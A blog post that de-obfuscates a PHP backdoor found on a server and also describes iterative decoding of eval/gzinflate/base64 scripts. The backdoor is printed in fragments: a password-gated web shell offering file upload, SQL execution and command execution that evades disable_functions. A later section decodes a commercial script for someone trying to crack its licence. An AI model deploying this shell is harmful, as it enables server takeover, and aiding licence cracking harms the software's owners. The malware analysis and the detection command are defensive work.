De-obfuscate a backdoor PHP script

Today (almost 1 hour ago) I got an script encoded. At first look I though its one of those wordpress footer files which are obfuscated by theme makers.  So I started to decode it. The process of decoding is very simple. Mainly by replacing “eval” with “echo”.  I am not gonna describe the detailed process.

I use this code to decode it.

$contents = file_get_contents("php://stdin");$create_function = '\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e';
$base64_decode ='\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65';
if(strpos($contents, $create_function)!==false){
        echo "create_function() invocation found! \n";
        if(strpos($contents, $base64_decode)!==false){
                echo "base64_decode() invocation found! \n";

// finding base64 pattern

preg_match('/"([a-zA-Z0-9\/+]{500,}[=]{0,2})"/', $contents, $m);
$data = base64_decode($m[1]);
eval(str_replace('eval', 'echo', $data));

And here is the result.

error_reporting(E_ERROR | E_WARNING | E_PARSE);
ini_set('display_errors', "0")
if ($_POST["p"] != "") {
        $_COOKIE["p"] = $_POST["p"];
        setcookie("p", $_POST["p"], time() + 3600);

if (md5($_COOKIE["p"]) != "ca3f717a5e53f4ce47b9062cfbfb2458") {
        echo "<form method=post>";
        echo "<input type=text name=p value='' size=50>";
        echo "<input type=submit name=B_SUBMIT value='Check'>";
        echo "</form>";

if ($_POST["action"] == "upload") {

    if ($newpath!="") move_uploaded_file($l,$newpath);
    echo "done";

} else if ($_POST["action"] == "sql") {

    $query = $_POST["query"];
    $query = str_replace("\'","'",$query);
    $lnk = mysql_connect($_POST["server"], $_POST["user"], $_POST["pass"]) or die ('Not connected : ' . mysql_error());
    mysql_select_db($_POST["db"], $lnk) or die ('Db failed: ' . mysql_error());
    mysql_query($query, $lnk) or die ('Invalid query: ' . mysql_error());
    echo "done<br><pre>$query</pre>";

} else if ($_POST["action"] == "runphp") {


} else {

    $disablefunc = @ini_get("disable_functions");
    if (!empty($disablefunc)) {
        $disablefunc = str_replace(" ","",$disablefunc);
        $disablefunc = explode(",",$disablefunc);
    } else $disablefunc = array();

    function myshellexec($cmd) {
        global $disablefunc;
        $result = "";
        if (!empty($cmd)) {
            if (is_callable("exec") and !@in_array("exec",$disablefunc)) {@exec($cmd,$result); $result = @join("\n",$result);}
            elseif (($result = `$cmd`) !== FALSE) {}
            elseif (is_callable("system") and !@in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); @system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
            elseif (is_callable("passthru") and !@in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); @passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
            elseif (is_resource($fp = @popen($cmd,"r"))) {
                $result = "";
                while(!feof($fp)) {$result .= @fread($fp,1024);}
        return $result;
        $cmd = stripslashes($_POST["cmd"]);
        $cmd_enc = stripslashes($_POST["cmd_enc"]);
        if ($_POST["enc"]==1){
<script language=javascript type="text/javascript">
var END_OF_INPUT = -1;
var base64Chars = new Array('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/');
var reverseBase64Chars = new Array();
for (var i=0; i < base64Chars.length; i++){
    reverseBase64Chars[base64Chars[i]] = i;
var base64Str;
var base64Count;
function setBase64Str(str){
    base64Str = str;
    base64Count = 0;
function readBase64(){
    if (!base64Str) return END_OF_INPUT;
    if (base64Count >= base64Str.length) return END_OF_INPUT;
    var c = base64Str.charCodeAt(base64Count) & 0xff;
    return c;
function encodeBase64(str){
    var result = '';
    var inBuffer = new Array(3);
    var lineCount = 0;
    var done = false;
    while (!done && (inBuffer[0] = readBase64()) != END_OF_INPUT){
        inBuffer[1] = readBase64();
        inBuffer[2] = readBase64();
        result += (base64Chars[ inBuffer[0] >> 2 ]);
        if (inBuffer[1] != END_OF_INPUT){
            result += (base64Chars [(( inBuffer[0] << 4 ) & 0x30) | (inBuffer[1] >> 4) ]);
            if (inBuffer[2] != END_OF_INPUT){
                result += (base64Chars [((inBuffer[1] << 2) & 0x3c) | (inBuffer[2] >> 6) ]);
                result += (base64Chars [inBuffer[2] & 0x3F]);
            } else {
                result += (base64Chars [((inBuffer[1] << 2) & 0x3c)]);
                result += ('=');
                done = true;
        } else {
            result += (base64Chars [(( inBuffer[0] << 4 ) & 0x30)]);
            result += ('=');
            result += ('=');
            done = true;
        lineCount += 4;
        if (lineCount >= 76){
            result += ('\n');
            lineCount = 0;
    return result;
function encodeIt(f){

    echo "<form method=post action='' onSubmit='encodeIt(this);return false;'>";
    echo "<input type=text name=cmd value=\"".str_replace("\"","&quot;",$cmd)."\" size=150>";
    echo "<input type=hidden name=enc value='0'>";
    echo "<input type=hidden name=cmd_enc value=''>";
    echo "<input type=submit name=B_SUBMIT value='Go'>";
    echo "</form>";
    if ($cmd != "") {
        echo "<pre>";
        echo "Executing $cmd \n";
        echo myshellexec("$cmd");
        echo "</pre>";

If you look at the code carefully, you’ll notice its a backdoor.

  • It can upload arbitrary files
  • It can execute mysql quries
  • Its can shell command
If you want to check if your  server has such script  run the following command in shell in your web root.
find . -iname '*.php' -size 28k -exec egrep '\\x63\\x72\\x65\\x61\\x74\\x65\\x5f\\x66\\x75\\x6e\\x63\\x74\\x69\\x6f\\x6e' -o {} \;

Here “\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e” is hex encoded “create_function” string. This is a PHP function that creates function dynamically from string.

Decoding Encoded PHP Codes (Getting Dynamic)

I saw many people want to decode their files. So I made a decoder. Cheers!

All you have to paste your code here. Then press ‘Go’.

Remember, the format of the code must be like the following.

* Here dots (...) means long base64 data

Thu, 06 Aug 2009 00:23:20
A little update.  I just added another type of decoder. now “eval(gzinflate(base64_decode(” type data can be decoded too.

Decoding Encoded PHP Codes Part I

Okay its the first part of the script. The second part was published earlier. That time I kept place for this post. And here it is.Its another script that I got from a Guy. This time he was trying to crack the script. 🙂  He didnt want to buy another so need to crack it.Well I am not a cracker, that guy sent me the script over messenger and told me “what type of script it is??”. I saw it and felt why not decode it.

The script was encoded many times iteratively. So I had to decode it that way to get the final output. I wrote a console php application to decode it. I’ll give you the script at the end of this post.

The script I got was something like following. I shortened it so that it fits my post.


As you can see its base64 encoding and gz compression which took place to obfuscate. I just echo the $x; and found this.

?><? eval(gzinflate(base64_decode('DZbHDsTWDUV/JTvbmIV6Q+IY0lPvvW0CSaPeRxq
='))); ?><?

Note there are something special about this code.

  1. php ending (?>) and starting (<?) tag is attached to the end and start.
  2. there is an eval() call.

Beside these the whole script is same!! The “?><?” part is harmless. I dont have to worry about it. My target is to replace the eval() call by a variable. something like usingi “$y=(gzinflate(base…” instead of “eval(gzinflate(base…”. See! Its a little change. I did it with the following code.

$x[0]=" "; // was '?'
$x[1]="\$"; // was '>'
$x[2]="y"; // was '<'
$x[3]="="; // was '?'
$x[4]=" "; // was ' '
$x[5]=" "; // was 'e'
$x[6]=" "; // was 'v'
$x[7]=" "; // was 'a'
$x[8]=" "; // was 'l'

What I am doing here is just replaceing the “?><? eval” with ” $y= “. After that the whole string ($x) will be like. I am accesing the string by index because its faster and I still dont konw how many iteration I need.

$y=   (gzinflate(base64_decode('DZbHDsTWDUV/JTvbmIV6Q+IY0lPvvW0CSaPeRxq1r8/
E3GHguUHN9Xf5mxQUH61z+8Z+z8='))); ?><?

Now If I eval this code which is inside $x variable, I’ll get the new value. Lets see what it is. Just execute eval($x). I got this.

?><? eval(gzinflate(base64_decode('DZa1DsQIEkR/ZbPdlQMz
AgAIAha51nezgidtHNmcERfsXo/w=='))); ?><?

Hey, Its the same thing again. Ha ha. So lets make a loop and do it iteratively. see the following code.

while(strpos($x,"eval")!== false){
$len = strlen($x); // Current length of the code
echo "[".($i+1).":$len]".PHP_EOL.$x.PHP_EOL;
// Echoing the code.
$x[0]=" ";
$x[4]=" ";
$x[5]=" ";
$x[6]=" ";
$x[7]=" ";
$x[8]=" ";
// Puting the code in $y by this call.
$x = $y; // Substituting the previous code by the new one.

The idea is I’ll loop through the code as long as I find there is an eval() call. If there is an eval() call I’ll just remove the eval and put the code to some other variable. So it wont get eval()<code/>ed but will be saved. Its done by eval($x) Then for iteration I am substituting my previous code (cause I dont need it anymore).

If you execute the code you’ll see the length of the code is reducing in each iteration. Also you’ll get lots of output. When the loop breaks, you know that there is no eval() call. That means there is no dynamic code execution. But there might be base64_decode or gzinflate()</code>. Why not check it? The last code was saved in $x. So lets echo $x.

In my case the output was the actual code that was written. Here is a sample code from there.

echo "<html>\n";
echo "<head>\n";
echo "<title>Ilegal Script</title>\n";
echo "</head>\n";
echo "<body>\n";
echo "<h1 align=\"center\"><font face=\"Verdana\" color=\"#FF0000\">Ilegal Script</font></h1>\n";
echo "<p align=\"center\"><font face=\"Verdana\"><b>Sorry! The license for this script is not avaliable for this domain ( $domain_name

So. At last its decoded.

Well things can be different. There is no gurranty that you’ll get the actual code in this stage. There can be further decoding.

Here is my final code that did the trick.

while(strpos($x,"eval")!== false):
$len = strlen($x);
echo "[".($i+1).":$len]".PHP_EOL.$x.PHP_EOL;
$x[0]=" ";
$x[4]=" ";
$x[5]=" ";
$x[6]=" ";
$x[7]=" ";
$x[8]=" ";
$x = $y;
echo ($i+1).":".PHP_EOL.$x.PHP_EOL;

Happy De-obfuscation.:)